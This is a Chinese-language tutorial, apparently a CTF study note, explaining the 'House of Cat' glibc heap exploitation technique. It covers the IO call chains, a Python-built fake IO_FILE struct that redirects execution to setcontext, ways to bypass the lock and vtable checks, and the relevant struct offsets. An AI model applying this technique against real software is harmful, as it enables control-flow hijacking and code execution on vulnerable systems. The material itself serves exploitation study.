回炉重修之house of cat 带源码调试寻io
字数 1108 2025-08-22 22:47:39
House of Cat 利用技术详解
一、利用条件
-
内存写入能力:
- 能够任意写入一个可控地址(如通过 largebin attack)
-
地址泄露:
- 能够泄露 libc 地址和 heap 地址
-
IO流触发能力(满足以下任意一种):
- 调用 exit 或从 main 函数退出
- 调用 puts、printf 等函数
- 触发
__malloc_assert
二、IO 调用链分析
1. 第一条调用链(malloc_assert 触发)
__malloc_assert -> __fxprintf -> vfxprintf -> locked_vfxprintf -> vfprintf_internal
-> IO->vtable->_IO_file_xsputn -> _IO_wfile_seekoff
2. 第二条调用链(关键链)
_IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW
三、伪造的 IO 结构体构造
fake_struct = p64(0) # _IO_read_end
fake_struct += p64(0) # _IO_read_base
fake_struct += p64(0) # _IO_write_base
fake_struct += p64(0) # _IO_write_ptr
fake_struct += p64(0) # _IO_write_end
fake_struct += p64(0) # _IO_buf_base
fake_struct += p64(1) # _IO_buf_end
fake_struct += p64(0) # _IO_save_base
fake_struct += p64(fake_io_addr + 0xb0) # _IO_backup_base = rdx
fake_struct += p64(setcontext + 61) # _IO_save_end = call_addr
fake_struct += p64(0) # _markers
fake_struct += p64(0) # _chain
fake_struct += p64(0) # _fileno
fake_struct += p64(0) # _old_offset
fake_struct += p64(0) # _cur_column
fake_struct += p64(heap_base + 0x200) # _lock = heap_addr or writeable libc_addr
fake_struct += p64(0) # _offset
fake_struct += p64(0) # _codecvt
fake_struct += p64(fake_io_addr + 0x30) # _wide_data (rax1)
fake_struct += p64(0) # _freeres_list
fake_struct += p64(0) # _freeres_buf
fake_struct += p64(0) # __pad5
fake_struct += p32(0) # _mode
fake_struct += b"\x00"*20 # _unused2
fake_struct += p64(_IO_wfile_jumps + 0x10) # vtable
fake_struct += p64(0)*6 # padding
fake_struct += p64(fake_io_addr + 0x40) # rax2 -> to make [rax+0x18] = setcontext + 61
四、关键点分析
1. __malloc_assert 触发条件
触发路径:
_int_malloc -> sysmalloc -> __malloc_assert
触发条件:
- 当 top chunk 无法满足分配请求时(即
size < nb + MINSIZE) - 且没有可用的 fastchunks
- 或者
malloc_consolidate后仍然无法满足请求
2. 绕过 _IO_flockfile 检查
#define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
绕过条件:
fp->_flags必须是一个可读地址- 或者设置
_IO_USER_LOCK标志位
3. vtable 检查绕过
- 需要将 fake_io 的 vtable 指针设置为
_IO_file_xsputn+0x10 - 避免触发
_IO_vtable_check检测
4. 关键检查点(_IO_switch_to_wget_mode)
fp->_wide_data必须有值_IO_write_ptr必须大于_IO_write_base(使was_writing为 true)
bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
5. RIP 劫持点
通过以下指令序列实现控制流劫持:
mov rax, [rdi+0xa0] ; 获取 wide_data 指针
mov rdx, [rax+0x20] ; 设置 rdx
mov rax, [rax+0xe0] ; 获取函数指针
call [rax+0x18] ; 调用目标函数
五、调试注意事项
-
stderr 修改:
- 需要修改的是
stderr指针的地址,而不是stderr本身的值 - 正确做法:
p &stderr而非p stderr
- 需要修改的是
-
关键寄存器:
- RAX 和 RDX 都可以被控制用于 ROP 链构造
六、利用步骤总结
- 通过 largebin attack 或其他方式实现任意地址写
- 泄露 libc 和 heap 地址
- 构造伪造的 IO_FILE 结构体
- 修改 stderr 指针指向伪造的结构体
- 触发 IO 流(通过 malloc_assert、exit 或 IO 函数)
- 通过控制流劫持执行目标函数或 ROP 链
七、相关结构体偏移
_IO_write_base: 0x20_IO_write_ptr: 0x28_wide_data: 0xa0vtable: 0xd8_lock: 0x80 (需要指向可写地址)